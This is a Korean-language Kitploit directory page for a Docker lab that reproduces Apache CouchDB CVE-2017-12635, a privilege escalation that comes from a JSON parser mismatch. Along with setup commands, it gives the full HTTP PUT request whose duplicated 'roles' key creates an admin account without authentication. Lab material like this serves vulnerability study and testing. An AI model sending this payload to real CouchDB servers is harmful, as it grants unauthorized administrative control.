Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Apache-couchdb-CVE-2017-12635 — Docker 기반 재현 환경으로, Apache CouchDB CVE-2017-12635의 JSON 파서 불일치를 통한 수직 권한 상승을 재현하며, 인증 없이 관리자 계정을 생성할 수 있게 합니다. | Kitploit
도구/GitHubGitHub/cyberharsh/apache-couchdb-cve-2017-12635
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubcyberharsh/apache-couchdb-cve-2017-12635

Apache-couchdb-CVE-2017-12635

Docker 기반 재현 환경으로, Apache CouchDB CVE-2017-12635의 JSON 파서 불일치를 통한 수직 권한 상승을 재현하며, 인증 없이 관리자 계정을 생성할 수 있게 합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1126년 전아직 검토되지 않음

Couchdb 수직 권한 우회 취약점(CVE-2017-12635)

Apache CouchDB는 사용 편의성과 "웹을 완전히 수용하는 데이터베이스"가 되는 데 중점을 둔 오픈소스 데이터베이스입니다. JSON을 저장 형식으로, JavaScript를 쿼리 언어로, MapReduce와 HTTP를 API로 사용하는 NoSQL 데이터베이스입니다. BBC는 동적 콘텐츠 표시 플랫폼에, Credit Suisse는 내부 상품 부문의 마켓 프레임워크에, Meebo는 소셜 플랫폼(웹 및 애플리케이션)에 사용하는 등 폭넓게 사용됩니다.

2017년 11월 15일에 CVE-2017-12635와 CVE-2017-12636이 공개되었습니다. CVE-2017-12635는 Erlang과 JavaScript의 JSON 파싱 방식 차이로 인해 구문 실행에 차이가 발생하여 생긴 취약점입니다. 이 취약점은 임의의 사용자가 관리자를 생성할 수 있게 하며, 수직 권한 우회 취약점에 해당합니다.

영향을 받는 버전: 1.7.0 미만 및 2.1.1 미만

참고 링크:

  • http://bobao.360.cn/learning/detail/4716.html
  • https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

테스트 환경

환경 컴파일 및 시작:

root@kitploit:~
docker-compose build
docker-compose up -d

환경이 시작된 후 http://your-ip:5984/_utils/에 접속하면 웹 페이지를 볼 수 있으며, CouchDB가 성공적으로 시작되었음을 알 수 있습니다. 하지만 비밀번호를 모르기 때문에 로그인할 수 없습니다.

취약점 재현

먼저, 다음과 같은 데이터 패킷을 전송합니다:

root@kitploit:~
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

403 오류가 반환되는 것을 확인할 수 있습니다: {"error":"forbidden","reason":"Only _admin may set roles"}. 오직 관리자만 Role 역할을 설정할 수 있습니다:

roles가 두 개 포함된 데이터 패킷을 전송하면 제한을 우회할 수 있습니다:

root@kitploit:~
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

관리자 생성에 성공했습니다. 계정과 비밀번호는 모두 vulhub입니다:

http://your-ip:5984/_utils/에 다시 접속하여 계정과 비밀번호 vulhub를 입력하면 성공적으로 로그인할 수 있습니다:

도구 다운로드